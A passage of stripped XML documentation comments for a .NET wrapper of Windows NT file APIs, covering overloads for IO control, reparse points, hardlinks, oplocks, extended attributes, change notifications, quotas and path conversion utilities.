output buffer size + The output buffer returned by the kernel. + + + + Send a File System Control code to the file driver + + The control code + Input buffer can be null + Output buffer can be null + Thrown on error. + The length of output bytes returned. + + + + Send a File System Control code to the file driver. + + The control code + Input buffer can be null + Maximum output buffer size + The output buffer returned by the kernel. + + + + Send a Device IO Control code to the file driver + + The control code + Input buffer can be null + Output buffer can be null + True to throw on error. + Thrown on error. + The length of output bytes returned. + + + + Send a Device IO Control code to the file driver. + + The control code + Input buffer can be null + Maximum output buffer size + True to throw on error. + The output buffer returned by the kernel. + + + + Send a File System Control code to the file driver + + The control code + Input buffer can be null + Output buffer can be null + True to throw on error. + Thrown on error. + The length of output bytes returned. + + + + Send a File System Control code to the file driver. + + The control code + Input buffer can be null + Maximum output buffer size + True to throw on error. + The output buffer returned by the kernel. + + + + Send a Device IO Control code to the file driver + + The control code + Input buffer can be null + Output buffer can be null + True to throw an exception on error. + Thrown on error. + The length of output bytes returned. + + + + Send a Device IO Control code to the file driver + + The control code + Input buffer can be null + Output buffer can be null + Thrown on error. + The length of output bytes returned. + + + + Send a Device IO Control code to the file driver. + + The control code + Input buffer can be null + Maximum output buffer size + True to throw an exception on error. + The output buffer returned by the kernel. + + + + Send a Device IO Control code to the file driver. + + The control code + Input buffer can be null + Maximum output buffer size + The output buffer returned by the kernel. + + + + Send an File System Control code to the file driver + + The control code + Input buffer can be null + Output buffer can be null + True to throw an exception on error. + The length of output bytes returned. + Thrown on error. + + + + Send a File System Control code to the file driver. + + The control code + Input buffer can be null + Maximum output buffer size + True to throw an exception on error. + The output buffer returned by the kernel. + + + + Send an File System Control code to the file driver + + The control code + Input buffer can be null + Output buffer can be null + The length of output bytes returned. + Thrown on error. + + + + Send a File System Control code to the file driver. + + The control code + Input buffer can be null + Maximum output buffer size + The output buffer returned by the kernel. + + + + Re-open an existing file for different access. + + The desired access for the file handle + The file share access + File open options + Flags for the object attributes. + True to throw an exception on error. + The NT status code and object result. + Thrown on error. + + + + Re-open an existing file for different access. + + The desired access for the file handle + The file share access + File open options + True to throw an exception on error. + The NT status code and object result. + Thrown on error. + + + + Re-open an exsiting file for different access. + + The desired access for the file handle + The file share access + File open options + The opened file + Thrown on error. + + + + Specify file disposition. + + True to set delete on close, false to clear delete on close. + True to throw on error. + The NT status code. + Thrown on error. + You can't prevent deletion if file opened with DeleteOnClose flag. + + + + Specify file disposition. + + True to set delete on close, false to clear delete on close. + Thrown on error. + You can't prevent deletion if file opened with DeleteOnClose flag. + + + + Delete the file. Must have been opened with DELETE access. + + True to throw on error. + The NT status code. + Thrown on error. + + + + Delete the file. Must have been opened with DELETE access. + + Thrown on error. + + + + Set disposition on the file (extended Windows version). + + True to throw on error. + Flags for SetDispositionEx call. + The NT status code. + Thrown on error. + + + + Set disposition on the file (extended Windows version). + + Flags for SetDispositionEx call. + Thrown on error. + + + + Delete the file (extended Windows version). Must have been opened with DELETE access. + + True to throw on error. + Flags for DeleteEx call. + The NT status code. + Thrown on error. + + + + Delete the file (extended Windows version). Must have been opened with DELETE access. + + Flags for DeleteEx call. + Thrown on error. + + + + Create a new hardlink to this file. + + The target NT path. + The root directory if linkname is relative + Thrown on error. + + + + Create a new hardlink to this file. + + The target absolute NT path. + Thrown on error. + + + + Create a new hardlink to this file. + + The target NT path. + The root directory if linkname is relative + If TRUE, replaces the target file if it exists. If FALSE, fails if the target file already exists. + True to throw on error. + The NT status code. + Thrown on error. + + + + Create a new hardlink to this file. + + The target NT path. + The root directory if linkname is relative + If TRUE, replaces the target file if it exists. If FALSE, fails if the target file already exists. + Thrown on error. + + + + Create a new hardlink to this file. + + The target NT path. + The root directory if linkname is relative + The flags associated to FileLinkInformationEx. + True to throw on error. + The NT status code. + Thrown on error. + + + + Create a new hardlink to this file. + + The target NT path. + The root directory if linkname is relative + The flags associated to FileLinkInformationEx. + Thrown on error. + + + + Rename file. + + The target NT path. + The root directory if new_name is relative + If TRUE, replaces the target file if it exists. If FALSE, fails if the target file already exists. + True to throw on error. + The NT status code. + Thrown on error. + + + + Rename file. + + The target NT path. + The root directory if new_name is relative + If TRUE, replaces the target file if it exists. If FALSE, fails if the target file already exists. + Thrown on error. + + + + Rename file. + + The target NT path. + The root directory if new_name is relative + Thrown on error. + + + + Rename this file with an absolute path. + + The target absolute NT path. + If TRUE, replace the target file if it exists. If FALSE, fails if the target file already exists. + Thrown on error. + + + + Rename this file with an absolute path. + + The target absolute NT path. + Thrown on error. + + + + Rename (extended Windows version) this file with an absolute path. + + The target absolute NT path. + The root directory if new_name is relative + The flags associated to FileRenameInformationEx. + True to throw on error. + The NT status code. + Thrown on error. + + + + Rename (extended Windows version) this file with an absolute path. + + The target absolute NT path. + The root directory if new_name is relative + The flags associated to FileRenameInformationEx. + Thrown on error. + + + + Rename (extended Windows version) this file with an absolute path. + + The target absolute NT path. + The flags associated to FileRenameInformationEx. + Thrown on error. + + + + Set an arbitrary reparse point. + + The reparse point data. + + + + Set an arbitrary reparse point. + + The reparse point data. + True to throw on error. + The NT status code. + + + + Set an arbitrary reparse point as a raw byte array. + + The reparse point data as a byte array. + + + + Set an arbitrary reparse point as a raw byte array. + + The reparse point data as a byte array. + True to throw on error. + The NT status code. + + + + Set an arbitrary reparse point. + + The reparse point data. + Flags for the reparse buffer. + Existing tag to check against. If no check required use 0. + Existing Guid to check against. If no check requested use empty GUID. + True to throw on error. + The NT status code. + + + + Set an arbitrary reparse point. + + The reparse point data. + Flags for the reparse buffer. + Existing tag to check against. If no check required use 0. + Existing Guid to check against. If no check requested use empty GUID. + + + + Set an arbitrary reparse point. + + The reparse point data. + Existing tag to check against. If no check required use 0. + + + + Set an arbitrary reparse point. + + The reparse point data.> + + + + Set a mount point on the current file object. + + The substitute name to reparse to. + The print name to display (can be null). + + + + Set a symlink on the current file object. + + The substitute name to reparse to. + The print name to display. + Additional flags for the symlink. + + + + Set a mount point on the current file object. + + The substitute name to reparse to. + The print name to display (can be null). + True to throw on error. + The NT status code. + + + + Set a symlink on the current file object. + + The substitute name to reparse to. + The print name to display. + Additional flags for the symlink. + True to throw on error. + The NT status code. + + + + Get the reparse point buffer for the file. + + True to throw on error. + The reparse point buffer. + + + + Get the reparse point buffer for the file. + + The reparse point buffer. + + + + Get the reparse point buffer for the file as a raw buffer. + + True to throw on error. + The reparse point buffer. + + + + Get the reparse point buffer for the file as a raw buffer. + + The reparse point buffer. + + + + Delete the reparse point buffer + + The reparse tag. + The NT status code. + True to throw on error. + + + + Delete the reparse point buffer + + The reparse tag. + + + + Delete the reparse point buffer + + The original reparse buffer. + True to throw on error. + + + + Delete the reparse point buffer + + The original reparse buffer. + + + + Get list of accessible files underneath a directory. + + Share access for file open + Options for open call. + The desired access for each file. + A file name mask (such as *.txt). Can be null. + Indicate what entries to return. + The list of files which can be access. + + + + Get list of accessible files underneath a directory. + + Share access for file open + Options for open call. + The desired access for each file. + The list of files which can be access. + + + + Query a directory for files. + + The list of directory entries. + + + + Query a directory for files. + + A file name mask (such as *.txt). Can be null. + Indicate what entries to return. + Specify what additional data to include in the directory entries. + The list of directory entries. You might need to cast the directories to the appropriate types if using include flags. + + + + Query a directory for files. + + A file name mask (such as *.txt). Can be null. + Indicate what entries to return. + The list of directory entries. + + + + Query a directory for files with file ID. + + A file name mask (such as *.txt). Can be null. + Indicate what entries to return. + Return placeholder parent and current directory entries. + The list of directory entries. + + + + Read data from a file with a length and position. + + The buffer to read to. + The position in the file to read. The position is optional. + True to throw on error. + The length of bytes read into the buffer. + + + + Read data from a file with a length and position. + + The buffer to read to. + The position in the file to read. The position is optional. + The length of bytes read into the buffer. + + + + Read data from a file with a length and position. + + The length of the read + The position in the file to read. The position is optional. + True to throw on error. + The read bytes, this can be smaller than length. + + + + Read data from a file with a length and position. + + The length of the read + The position in the file to read + The read bytes, this can be smaller than length. + + + + Read data from a file with a length. + + The length of the read + The read bytes, this can be smaller than length. + + + + Read data from a file with a length over a scatter set of pages. + + List of pages to read into. These pages must be Page Size aligned. + The length of the read + The position in the file to read. + True to throw on error. + The length of bytes read. + + + + Read data from a file with a length over a scatter set of pages. + + List of pages to read into. These pages must be Page Size aligned. + The length of the read + The position in the file to read. + The length of bytes read. + + + + Read data from a file with a length and position asynchronously. + + The buffer to read to. + The position in the file to read. The position is optional. + Cancellation token to cancel async operation. + True to throw on error. + The length of bytes read into the buffer. + + + + Read data from a file with a length and position asynchronously. + + The buffer to read to. + The position in the file to read. The position is optional. + Cancellation token to cancel async operation. + The length of bytes read into the buffer. + + + + Read data from a file with a length and position asynchronously. + + The length of the read + The position in the file to read. The position is optional. + Cancellation token to cancel async operation. + True to throw on error. + The length of bytes read into the buffer. + + + + Read data from a file with a length and position asynchronously.. + + The length of the read + The position in the file to read + Cancellation token to cancel async operation. + The read bytes, this can be smaller than length. + + + + Read data from a file with a length and position asynchronously.. + + The length of the read + The position in the file to read + The read bytes, this can be smaller than length. + + + + Read data from a file with a length and position asynchronously. + + List of pages to read into. These pages must be Page Size aligned. + The length of the read + The position in the file to read. + Cancellation token to cancel async operation. + True to throw on error. + The length of bytes read into the buffer. + + + + Read data from a file with a length and position asynchronously. + + List of pages to read into. These pages must be Page Size aligned. + The length of the read + The position in the file to read. + True to throw on error. + The length of bytes read into the buffer. + + + + Read data from a file with a length and position asynchronously. + + List of pages to read into. These pages must be Page Size aligned. + The length of the read + The position in the file to read. + Cancellation token to cancel async operation. + The length of bytes read into the buffer. + + + + Read data from a file with a length and position asynchronously. + + List of pages to read into. These pages must be Page Size aligned. + The length of the read + The position in the file to read. + The length of bytes read into the buffer. + + + + Write data to a file at a specific position asynchronously. + + The data to write as a buffer. + The position to write to. + Cancellation token to cancel async operation. + True to throw on error. + The number of bytes written + + + + Write data to a file at a specific position asynchronously. + + The data to write as a buffer. + The position to write to. + Cancellation token to cancel async operation. + The number of bytes written + + + + Write data to a file at a specific position asynchronously. + + The data to write. + The position to write to. + Cancellation token to cancel async operation. + The number of bytes written + + + + Write data to a file at a specific position asynchronously. + + The data to write + The position to write to + The number of bytes written + + + + Write data to a file at a specific position asynchronously. + + The data to write. + The position to write to. + Cancellation token to cancel async operation. + True to throw on error. + The number of bytes written + + + + Write data to a file at a specific position. + + The data to write + The position to write to. Optional + True to throw on error. + The number of bytes written. + + + + Write data to a file at a specific position. + + The data to write + The position to write to. Optional + The number of bytes written. + + + + Write data to a file at a specific position. + + The data to write + The position to write to. Optional + True to throw on error. + The number of bytes written. + + + + Write data to a file at a specific position. + + The data to write + The position to write to + The number of bytes written + + + + Write data to a file + + The data to write + The number of bytes written + + + + Write data to a file at a specific position gathered from a list of pages. + + List of pages to write. These pages must be page size aligned. + The length of the write. + The position to write to. + True to throw on error. + The number of bytes written. + + + + Write data to a file at a specific position gathered from a list of pages. + + List of pages to write. These pages must be page size aligned. + The length of the write. + The position to write to. + The number of bytes written. + + + + Write data to a file at a specific position asynchronously from a list of pages. + + List of pages to write. These pages must be page size aligned. + The length of the write. + The position to write to. + Cancellation token to cancel async operation. + True to throw on error. + The number of bytes written + + + + Write data to a file at a specific position asynchronously from a list of pages. + + List of pages to write. These pages must be page size aligned. + The length of the write. + The position to write to. + True to throw on error. + The number of bytes written + + + + Write data to a file at a specific position asynchronously from a list of pages. + + List of pages to write. These pages must be page size aligned. + The length of the write. + The position to write to. + Cancellation token to cancel async operation. + The number of bytes written + + + + Write data to a file at a specific position asynchronously from a list of pages. + + List of pages to write. These pages must be page size aligned. + The length of the write. + The position to write to. + The number of bytes written + + + + Lock part of a file. + + The offset into the file to lock + The number of bytes to lock + True to fail immediately if the lock can't be taken + True to do an exclusive lock + True to throw on error. + The NT status code. + + + + Lock part of a file. + + The offset into the file to lock + The number of bytes to lock + True to fail immediately if the lock can't be taken + True to do an exclusive lock + + + + Shared lock part of a file. + + The offset into the file to lock + The number of bytes to lock + + + + Lock part of a file asynchronously. + + The offset into the file to lock + The number of bytes to lock + True to fail immediately if the lock can't be taken + True to do an exclusive lock + Cancellation token to cancel async operation. + True to throw on error. + The NT status code. + + + + Lock part of a file asynchronously. + + The offset into the file to lock + The number of bytes to lock + True to fail immediately if the lock can't be taken + True to do an exclusive lock + Cancellation token to cancel async operation. + + + + Lock part of a file asynchronously. + + The offset into the file to lock + The number of bytes to lock + True to fail immediately if the lock can't be taken + True to do an exclusive lock + + + + Shared lock part of a file asynchronously. + + The offset into the file to lock + The number of bytes to lock + + + + Unlock part of a file previously locked with Lock + + The offset into the file to unlock + The number of bytes to unlock + Thrown on error. + + + + Unlock part of a file previously locked with Lock + + The offset into the file to unlock + The number of bytes to unlock + True to throw on error. + The NT status code. + + + + Convert this NtFile to a FileStream for reading/writing. + + The stream must be closed separately from the NtFile. + The file stream. + Thrown on error. + + + + Get the Win32 path name for the file. + + The flags to determine what path information to get. + The path. + Throw on error. + + + + Get the Win32 path name for the file. + + The flags to determine what path information to get. + True to throw on error. + The path. + + + + Oplock the file with a specific level. + + The level of oplock to set. + True to throw on error. + The oplock response level. + + + + Oplock the file with a specific level. + + The level of oplock to set. + The oplock response level. + + + + Oplock the file with a specific level. + + The level of oplock to set. + Cancellation token to cancel async operation. + True to throw on error. + The oplock response level. + + + + Oplock the file with a specific level. + + The level of oplock to set. + True to throw on error. + The oplock response level. + + + + Oplock the file with a specific level. + + The level of oplock to set. + Cancellation token to cancel async operation. + The oplock response level. + + + + Oplock the file with a specific level. + + The level of oplock to set. + The oplock response level. + + + + Acknowledge an oplock break. + + The acknowledgment level. + True to throw on error. + The NT status code. + Oplock break acknowledgement returns STATUS_PENDING. + + + + Acknowledge an oplock break. + + The acknowledgment level. + + + + Oplock the file with a specific level. + + The oplock cache level. + Specify additional flags for the request. + True to throw on error. + The result of the oplock request. + + + + Oplock the file with a specific level. + + The oplock cache level. + True to throw on error. + The result of the oplock request. + + + + Oplock the file with a specific level and flags. + + The oplock level. + Cancellation token to cancel async operation. + Specify additional flags for the request. + True to throw on error. + The request of the oplock request. + + + + Oplock the file with a specific level and flags. + + The oplock level. + Cancellation token to cancel async operation. + True to throw on error. + The request of the oplock request. + + + + Oplock the file with a specific lease level and flags. + + The oplock lease level. + Specify additional flags for the request. + The result of the oplock request. + + + + Oplock the file with a specific lease level and flags. + + The oplock lease level. + The result of the oplock request. + + + + Oplock the file with a specific level and flags. + + The oplock level. + Specify additional flags for the request. + Cancellation token to cancel async operation. + The request of the oplock request. + + + + Oplock the file with a specific level and flags. + + The oplock level. + Cancellation token to cancel async operation. + The request of the oplock request. + + + + Oplock the file with a specific level and flags. + + The oplock level. + True to throw on error. + The request of the oplock request. + + + + Oplock the file with a specific level and flags. + + The oplock level. + The response of the oplock request. + + + + Oplock the file with a specific level and flags. + + The oplock level. + Specify additional flags for the request. + The response of the oplock request. + + + + Acknowledge a lease oplock started with RequestOplockLease. + + True to complete acknowledgement on close. + True to throw on error. + The NT status code. + This breaks to None. If you want to request the new oplock level then request a new oplock. + + + + Acknowledge a lease oplock started with RequestOplockLease. + + True to complete acknowledgement on close. + + + + Acknowledge a lease oplock started with RequestOplockLease. + + + + + Oplock the file exclusively (no other users can access the file). + + True to throw on error. + The oplock response level. + + + + Oplock the file exclusively (no other users can access the file). + + The oplock response level. + + + + Oplock the file exclusively (no other users can access the file). + + Cancellation token to cancel async operation. + The oplock response level. + + + + Oplock the file exclusively (no other users can access the file). + + The oplock response level. + + + + Wait for an oplock break to complete. + + True to throw on error. + The NT status code. + + + + Wait for an oplock break to complete. + + The NT status code. + + + + Wait for an oplock break to complete. + + True to throw on error. + The NT status code. + + + + Wait for an oplock break to complete. + + The NT status code. + + + + Dispose. + + True is disposing. + + + + Try and cancel any pending asynchronous IO. + + + + + Get the extended attributes of a file. + + True to throw on error. + The extended attributes, empty if no extended attributes. + + + + Get the extended attributes of a file. + + The extended attributes, empty if no extended attributes. + + + + Set the extended attributes for a file. + + The EA buffer to set. + True to throw on error. + This will add entries if they no longer exist, + remove entries if the data is empty or update existing entires. + + + + Set the extended attributes for a file. + + The EA buffer to set. + This will add entries if they no longer exist, + remove entries if the data is empty or update existing entires. + + + + Set the extended attributes for a file. + + The name of the entry + The associated data + The entry flags. + + + + Set the extended attributes for a file. + + The name of the entry + The associated data + The entry flags. + + + + Set the extended attributes for a file. + + The name of the entry + The associated data + The entry flags. + + + + Remove an extended attributes entry for a file. + + The name of the entry + + + + Assign completion port to file. + + The completion port. + A key to associate with this completion. + + + + Check if a specific set of file directory access rights is granted + + The file directory access rights to check + True if all access rights are granted + + + + Get the cached signing level for a file. + + The cached signing level. + + + + Get the cached signing level for a file. + + The cached signing level. + + + + Get the cached singing level from the raw EA buffer. + + The cached signing level data. + Throw on error. + + + + Set the cached signing level for a file. + + Flags to set for the cache. + The signing level to cache + + + + Set the cached signing level for a file. + + Flags to set for the cache. + The signing level to cache + Optional directory path to look for catalog files. + + + + Set the cached signing level for a file. + + Flags to set for the cache. + The signing level to cache + Files for signature. + Optional directory path to look for catalog files. + + + + Set the cached signing level for a file. + + Flags to set for the cache. + The signing level to cache + Files for signature. + Optional directory path to look for catalog files. + True to throw on error. + + + + Set the end of file. + + The offset to the end of file. + + + + Set the valid data length of the file without zeroing. Needs SeManageVolumePrivilege. + + The length to set. + + + + Get list of hard link entries for a file. + + The list of entries. + + + + Get a list of stream entries for the current file. + + The list of streams. + + + + Visit all accessible streams under this file. + + A function to be called on every accessible stream. Return true to continue enumeration. + Specify the desired access for the streams. + The share access to open the streams with. + Additional options to open the s with. + True if all accessible streams were visited, false if not. + + + + Get list of process ids using this file. + + The list of process ids. + + + + Visit all accessible files under this directory. + + A function to be called on every accessible file. Return true to continue enumeration. + Specify the desired access for the files. + True to recurse into sub keys. + The share access to open the files with. + Specify max recursive depth. -1 to not set a limit. + Additional options to open the files with. + A file name mask (such as *.txt). Can be null. + Indicate what entries to return. + True if all accessible files were visited, false if not. + + + + Visit all accessible files under this directory. + + A function to be called on every accessible file. Return true to continue enumeration. + Specify the desired access for the files. + True to recurse into sub keys. + The share access to open the files with. + Specify max recursive depth. -1 to not set a limit. + Additional options to open the files with. + True if all accessible files were visited, false if not. + + + + Visit all accessible files under this directory. + + A function to be called on every accessible file. Return true to continue enumeration. + + + + Visit all accessible files under this directory. + + A function to be called on every accessible file. Return true to continue enumeration. + Specify the desired access for the files. + The share access to open the files with. + + + + Query whether a file is trusted for dynamic code. + + Returns true if the file is trusted. + + + + Set a file is trusted for dynamic code. + + + + + Set a file is trusted for dynamic code. + + True to throw on error. + The NT status code. + + + + Find files in a directory by the owner SID. + + The owner SID. + A list of files in the directory. + For this method to work you need Quota enabled on the volume. + + + + Get full change notifications. Will pick ex version if available and revert to old format if not. + + The filter of events to watch for. + True to watch all sub directories. + True to throw on error. + Wait timeout. + The list of changes. + + + + Get full change notifications. Will pick ex version if available and revert to old format if not. + + The filter of events to watch for. + True to watch all sub directories. + Wait timeout. + The list of changes. + + + + Get full change notifications asynchronously. Will pick ex version if available and revert to old format if not. + + The filter of events to watch for. + True to watch all sub directories. + True to throw on error. + Cancellation token. + The list of changes. + + + + Get full change notifications asynchronously. Will pick ex version if available and revert to old format if not. + + The filter of events to watch for. + True to watch all sub directories. + Cancellation token. + The list of changes. + + + + Get full change notifications asynchronously. Will pick ex version if available and revert to old format if not. + + The filter of events to watch for. + True to watch all sub directories. + The list of changes. + + + + Get change notifications. + + The filter of events to watch for. + True to watch all sub directories. + True to throw on error. + Wait timeout. + The list of changes. + + + + Get change notifications. + + The filter of events to watch for. + True to watch all sub directories. + True to throw on error. + The list of changes. + + + + Get change notifications. + + The filter of events to watch for. + True to watch all sub directories. + Wait timeout. + The list of changes. + + + + Get change notifications. + + The filter of events to watch for. + True to watch all sub directories. + The list of changes. + + + + Get change notifications. + + The filter of events to watch for. + True to watch all sub directories. + True to throw on error. + Cancellation token. + The list of changes. + + + + Get change notifications. + + The filter of events to watch for. + True to watch all sub directories. + True to throw on error. + The list of changes. + + + + Get change notifications. + + The filter of events to watch for. + True to watch all sub directories. + Cancellation token. + The list of changes. + + + + Get change notifications. + + The filter of events to watch for. + True to watch all sub directories. + The list of changes. + + + + Get extended change notifications. + + The filter of events to watch for. + True to watch all sub directories. + Timeout to wait. + True to throw on error. + The list of changes. + + + + Get extended change notifications. + + The filter of events to watch for. + True to watch all sub directories. + True to throw on error. + The list of changes. + + + + Get change notifications. + + The filter of events to watch for. + True to watch all sub directories. + Timeout to wait. + The list of changes. + + + + Get change notifications. + + The filter of events to watch for. + True to watch all sub directories. + The list of changes. + + + + Get change notifications. + + The filter of events to watch for. + True to watch all sub directories. + True to throw on error. + Cancellation token. + The list of changes. + + + + Get change notifications. + + The filter of events to watch for. + True to watch all sub directories. + True to throw on error. + The list of changes. + + + + Get change notifications. + + The filter of events to watch for. + True to watch all sub directories. + Cancellation token. + The list of changes. + + + + Get change notifications. + + The filter of events to watch for. + True to watch all sub directories. + The list of changes. + + + + Get the file attributes. + + True to throw on error. + The file attributes. + + + + Set the file attributes. + + The file attributes to set. + True to throw on error. + The NT status code. + + + + Get the creation time. + + True to throw on error. + The creation time. + + + + Get the last write time. + + True to throw on error. + The last write time. + + + + Get the change time time. + + True to throw on error. + The change time. + + + + Get the last access time. + + True to throw on error. + The last access time time. + + + + Set the file's creation time. + + The time to set. + True to throw on error. + The NT status code. + + + + Set the file's last access time. + + The time to set. + True to throw on error. + The NT status code. + + + + Set the file's last write time. + + The time to set. + True to throw on error. + The NT status code. + + + + Set the file's change time. + + The time to set. + True to throw on error. + The NT status code. + + + + Set the file position. + + The file position to set. + True to throw on error. + The NT status code. + + + + Get file information. + + + + + + + Query all reparse points from a volume. + + The list of reparse points. + You'll need to open the reparse database, which is typically \$Extend\$Reparse:$R:$INDEX_ALLOCATION on the volume. + + + + Query all object ids from a volume. + + The list of object ids. + You need to open the object ID database, which is typically \$Extend\$ObjId:$O:$INDEX_ALLOCATION on the volume. + + + + Get the Object ID buffer for a file. + + True to throw on error. + The object ID buffer. + + + + Get the Object ID create for a file. + + The object ID buffer. + + + + Get the Object ID buffer for a file. + + True to throw on error. + The object ID buffer. + + + + Get or create the Object ID for a file. + + The object ID buffer. + + + + Set Object ID and extended information. + + The Object ID buffer. + Only set the extended information. + True to throw on error. + The NT status code. + + + + Set Object ID and extended information. + + The Object ID buffer. + Only set the extended information. + The NT status code. + + + + Set Object ID and extended information. + + The Object ID GUID. + Extended info buffer, needs to be 48 bytes in size. + The NT status code. + + + + Set only Object ID extended information. + > + Extended info buffer, needs to be 48 bytes in size. + The NT status code. + + + + Delete the Object ID for a file. + + True to throw on error. + The NT status code. + + + + Delete the Object ID for a file. + + + + + Make the file sparse. + + True to make the file sparse. + True to throw on error. + The NT status code. + + + + Query if the driver is in the device stack for the device. + + The driver path. Can be a plain name of full object manager path, e.g. \Device\Blah. + True to throw on error. + True indicating driver in path. + + + + Query if the driver is in the device stack for the device. + + The driver path. + True indicating driver in path. + + + + Get filesystem and volume information. + + + + + Query a fixed buffer for a volume. + + The type to query. + The volume information class. + The returned type. + + + + Query a fixed buffer for a volume. + + The type to query. + The volume information class. + True to throw on error. + The returned type. + + + + Query a buffer for a volume. + + The type to query. + The volume information class. + True to throw on error. + The returned type. + + + + Query a buffer for a volume. + + The volume information class. + Initialization buffer. + True to throw on error. + The returned type. + + + + Query a buffer for a volume. + + The volume information class. + Initialization buffer. + The returned type. + + + + Query a buffer for a volume. + + The type to query. + The volume information class. + The returned type. + + + + Query a buffer for a volume. + + The volume information class. + The buffer for the query. Can be initialized. + True to throw on error. + The NT status code. + + + + Query a buffer for a volume. + + The volume information class. + The buffer for the query. Can be initialized. + + + + Set a buffer on a volume. + + The volume information class. + The buffer for the set. + True to throw on error. + The NT status code. + + + + Set a buffer on a volume. + + The volume information class. + The buffer for the set. + + + + Set a fixed value on a volume. + + The volume information class. + The fixed value to set. + True to throw on error. + The NT status code. + + + + Set a fixed value on a volume. + + The volume information class. + The fixed value to set. + + + + Query the quota entries for a volume. + + Return quote entries for the specified SIDs. + The list of quota entries. + + + + Query all quota entries for a volume. + + The list of quota entries. + + + + Set quota entries. + + The quota entries to set. + True to throw on error. + The NT status code. + + + + Set quota entries. + + The quota entries to set. + + + + Set quota entry. + + The quota entry to set. + + + + Set quota entry. + + The SID for the quota. + The quota limit to set. + The quota threshold to set. + + + + Get the file's full path. + + True to throw on error. + The file name. + + + + Get the file's normalized path. + + True to throw on error. + The file name. + + + + Method to query information for this object type. + + The information class. + The buffer to return data in. + Return length from the query. + The NT status code for the query. + + + + Method to set information for this object type. + + The information class. + The buffer to set data from. + The NT status code for the set. + + + + Query the information class as an object. + + The information class. + True to throw on error. + The information class as an object. + + + + Get object ID for current file + + The object ID as a string + Thrown on error. + + + + Get object ID for current file as a number. + + The object ID as a number. + Thrown on error. + + + + Get or set the attributes of a file. + + The file attributes + Thrown on error. + + + + Get or set the creation time. + + + + + Get or set the last access time. + + + + + Get or set the last write time. + + + + + Get or set the change time. + + + + + Get file information, which is times, attributes and sizes. + + + + + Get or set the file as sparse. + + + + + Get whether this file represents a directory. + + + + + Get whether this file repsents a reparse point. + + + + + The result of opening the file, whether it was created, overwritten etc. + + + + + Get or set the current file position. + + + + + Get or sets the file's length + + + + + Get the file's allocation size. + + + + + Get the number of links. + + + + + Get whether delete is pending. + + + + + Get the Win32 path name for the file. + + The path, string.Empty on error. + + + + Get the low-level device type of the file. + + The file device type. + + + + Get the low-level device characteristics of the file. + + The file device characteristics. + + + + Get filesystem and volume information. + + + + + Get or set the file's compression format. + + + + + Gets whether the file is on a remote file system. + + + + + Get or set whether this file/directory is case sensitive. + + + + + Get or set whether this file/directory is case sensitive. + + + + + Get the file mode. + + + + + Get file access information. + + + + + Get the filename with the volume path. + + + + + Get the normalized filename with the volume path. + + + + + Get the associated short filename + + + + + Get the associated short filename + + + + + Get the normalized name. + + + + + Get or set the storage reserve ID. + + + + + Returns whether this object is a container. + + + + + Get or set the read only status of the file. + + + + + Is the file compressed. + + + + + Get remote protocol information. + + + + + Get the granted access as directory rights. + + + + + Get the file system control flags. + + + + + Get persist volume flags. + + + + + Return the status information field. (32 bit) + + + + + Class representing file information. + + + + + Time of creation. + + + + + Time of last access. + + + + + Time of last write. + + + + + Time of change. + + + + + Length of the file. + + + + + Length of the file, alias of EndOfFile. + + + + + Allocation size. + + + + + File attributes. + + + + + Has the file got a set of attributes set. + + The attributes to check. + True if it has the attributes. + + + + Is the file a directory. + + + + + Is the file a reparse point. + + + + + Class to represent a directory entry. + + + + + Index of the file. + + + + + File name. + + + + + Class to represent a directory entry with file IDs. + + + + + Length of any EA buffer. + + + + + The file reference number if known. + + + + + Class to represent a directory entry with short names. + + + + + Length of any EA buffer. + + + + + The short name of the file. + + + + + Class to represent a directory entry with short names and file ids. + + + + + Length of any EA buffer. + + + + + The short name of the file. + + + + + The file reference number if known. + + + + + Class to represent a file quota entry. + + + + + Class to represet a file object ID. + + + + + Full path to the file with the reparse point. + + + + + Win32 path to the file with the reparse point. + + + + + Reference number for the file. + + + + + The file's attributes. + + + + + The file's object ID. + + + + + The file's extended info. + + + + + File's birth volume ID. + + + + + File's birth object ID. + + + + + File's domain ID. + + + + + Class to represent a file reparse point. + + + + + Full path to the file with the reparse point. + + + + + Win32 path to the file with the reparse point. + + + + + Reference number for the file. + + + + + The file's attributes. + + + + + The reparse point buffer. + + + + + The reparse point tag. + + + + + Utility functions for files + + + + + Convert a DOS filename to an absolute NT filename + + The filename, can be relative + True to throw on error. + The NT filename + + + + Convert a DOS filename to an absolute NT filename + + The filename, can be relative + The NT filename + + + + Convert a DOS filename to an absolute NT filename + + List of paths to combine before converting. + The NT filename + + + + Convert a DOS filename to an NT filename and get as an ObjectAttributes structure + + The DOS filename. + The object attribute flags. + An optional security quality of service. + An optional security descriptor. + True to throw on error. + The object attributes + + + + Convert a DOS filename to an NT filename and get as an ObjectAttributes structure + + The DOS filename. + The object attribute flags. + An optional security quality of service. + An optional security descriptor. + The object attributes + + + + Convert a DOS filename to an NT filename and get as an ObjectAttributes structure + + The filename + The object attributes + + + + Convert a DOS filename to a UNICODE_STRING structure + + The DOS filename + The UNICODE_STRING + + + + Get type of DOS path + + The DOS filename + The type of DOS path + + + + Map directory access rights to file access rights. + + The directory access rights to map. + The mapped access rights. + + + + Convert a file ID long to a string. + + The file ID to convert + The string format of the file id. + + + + Convert a string to a file ID. + + The file ID as a string (must be 4 characters). + The file ID as a long. + + + + Get if a reparse tag is a Microsoft defined one. + + The reparse tag. + True if it's a Microsoft reparse tag. + + + + Get if a reparse tag is a name surrogate. + + The reparse tag. + True if it's a surrogate reparse tag. + + + + Get if a reparse tag is a directory which can have children. + + The reparse tag. + True if it's a directory reparse tag which can have children. + + + + Convert a directory access rights mask to a normal file access mask. + + The access to convert. + The converted access rights. + + + + Convert a file access rights mask to a directory file access mask. + + The access to convert. + The converted access rights. + + + + Enable or disable Wow64 FS redirection. + + True to enable FS redirection. + True to throw on error. + The old enable state. + + + + Enable or disable Wow64 FS redirection. + + True to enable FS redirection. + The old enable state. + + + + Split an allocated address into a list of pages. This can be used to pass to + ReadScatter or WriteGather file APIs. + + The base address to split. The address should be page aligned. + The length of bytes to split into pages. This will be rounded up to the next page boundary. + The list of pages. + + + + Split an allocated address into a list of pages. This can be used to pass to + ReadScatter or WriteGather file APIs. + + The allocated buffer to split. The address should be page aligned. + The buffer will be split up based on its length. Note that the length will be rounded up. + The list of pages. + + + + Attempt to convert an NT device filename to a DOS filename. + + The filename to convert. + The converted string. Returns a path prefixed with GLOBALROOT if it doesn't understand the format. + + + + Build a path for an open by ID file. + + The path to the volume. + The ID. + The bytes for the ID path. + + + + Build a path for a file ID volume. + + The path to the volume. + The file reference number. + The bytes for the file ID path. + + + + Build a path for an object ID volume. + + The path to the volume. + The file object ID. + The bytes for the file 